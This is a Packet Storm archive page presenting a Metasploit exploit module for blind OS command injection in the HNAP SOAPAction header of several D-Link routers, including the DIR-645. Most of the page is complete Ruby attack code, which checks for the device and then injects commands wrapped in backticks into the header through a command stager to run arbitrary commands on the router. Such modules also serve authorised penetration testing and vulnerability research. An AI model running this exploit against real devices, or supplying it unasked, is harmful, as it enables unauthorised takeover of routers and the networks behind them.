Exploit the possiblities

D-Link Devices HNAP SOAPAction-Header Command Execution

D-Link Devices HNAP SOAPAction-Header Command Execution
Posted Jun 1, 2015
Authored by Craig Heffner, Samuel Huntley | Site metasploit.com

Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This Metasploit module has been tested on a DIR-645 device. The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR

tags | exploit
MD5 | 3441fbd8c1fcc5a225cc156757ccb483

D-Link Devices HNAP SOAPAction-Header Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command. This module has been tested on a DIR-645 device.
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
},
'Author' =>
[
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
'Craig Heffner', # independent Vulnerability discovery on different other routers
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']
],
'DisclosureDate' => 'Feb 13 2015',
'Privileged' => true,
'Platform' => 'linux',
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0
))

deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end

def check
uri = '/HNAP1/'
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'

begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
})

if res && [200].include?(res.code) && res.body =~ /D-Link/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Trying to access the device ...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end

print_status("#{peer} - Exploiting...")

execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:temp => ''
)
end

def execute_command(cmd, opts)

uri = '/HNAP1/'

# we can not use / in our command so we need to use a little trick
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"

begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
}, 3)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close